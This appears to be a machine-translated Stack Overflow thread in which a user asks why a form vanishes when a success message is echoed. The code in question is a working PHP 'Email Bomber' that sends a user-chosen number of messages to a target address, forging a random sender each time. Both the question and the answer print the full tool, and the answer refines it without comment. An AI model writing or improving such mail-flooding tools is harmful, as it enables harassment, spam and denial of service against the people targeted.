2013-02-09 23 views
0

由於某種原因,每當這個腳本得到的地方,它是假設回聲「IT WORKED!」,消息顯示,但假設在它之上的形式消失。保持我的形式時回聲

我的代碼:

<?php 

    $message = $_REQUEST['message']; 
    $email  = $_REQUEST['email']; 
    $times  = $_REQUEST['times']; 
    $subject = $_REQUEST['subject']; 
    $to   = $_REQUEST['to']; 

    for ($i=1; $i<=$times; $i++) { 
     mail("$to", "$subject", $message, "From:" . rand() . "@$email") ; 
    } 

?> 

    <form method="POST" id="email"> 

     <h1>Email Bomber</h1> 

     <fieldset id="inputs"> 
      <input name="times" type="text" placeholder="How Many Emails" autofocus required> 
      <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
      <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
      <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
      <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea> 
     </fieldset> 

     <fieldset id="actions"> 
      <input type="submit" id="submit" name="Send" value="Send Email"> 
     </fieldset> 
    </form> 

    <?php 

     if (isset($_REQUEST['message'])) { 

      echo "IT WORKED!"; 

     } 

    ?> 
+0

這是劇本的全部內容,或者是它嵌入在另一個頁面?你是在發佈這個? – 2013-02-09 07:41:33

+0

除了一個樣式表,這就是全部。是的,我使用POST和REQUESTS命令來檢索數據。 – JakeRasinSmith 2013-02-09 07:43:59

+0

那麼這個腳本就嵌入了一個HTML頁面? – 2013-02-09 07:45:32

回答

0

應該是:

PHP代碼:

<?php 
if (isset($_REQUEST['Send'])) { 

$message = $_REQUEST['message']; 
$email  = $_REQUEST['email']; 
$times  = $_REQUEST['times']; 
$subject = $_REQUEST['subject']; 
$to   = $_REQUEST['to']; 

for ($i=1; $i<=$times; $i++) { 
    mail("$to", "$subject", $message, "From:" . rand() . "@$email") ; 
} 

echo "IT WORKED!"; 
} 
?> 

HTML:

<form method="POST" id="email" action="#"> 

    <h1>Email Bomber</h1> 

    <fieldset id="inputs"> 
     <input name="times" type="text" placeholder="How Many Emails" autofocus required> 
     <input name="email" type="text" placeholder="Email Suffix" autofocus required> 
     <input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required> 
     <input name="subject" type="text" placeholder="Email Subject" autofocus required> 
     <textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea> 
    </fieldset> 

    <fieldset id="actions"> 
     <input type="submit" id="submit" name="Send" value="Send Email"> 
    </fieldset> 
</form> 
+0

怎麼會把「IT工作!」表單下面的文本? – JakeRasinSmith 2013-02-09 07:58:32

+0

因爲我知道什麼時候郵件發送你想顯示這條消息我對嗎? – 2013-02-09 08:04:13

+0

你真的不明白你在說什麼。我想要做的就是在表格填寫完畢並且正處於文字「IT WORKED!」的階段。會顯示出來,我想把它作爲一個成功類型的消息。 – JakeRasinSmith 2013-02-09 08:06:24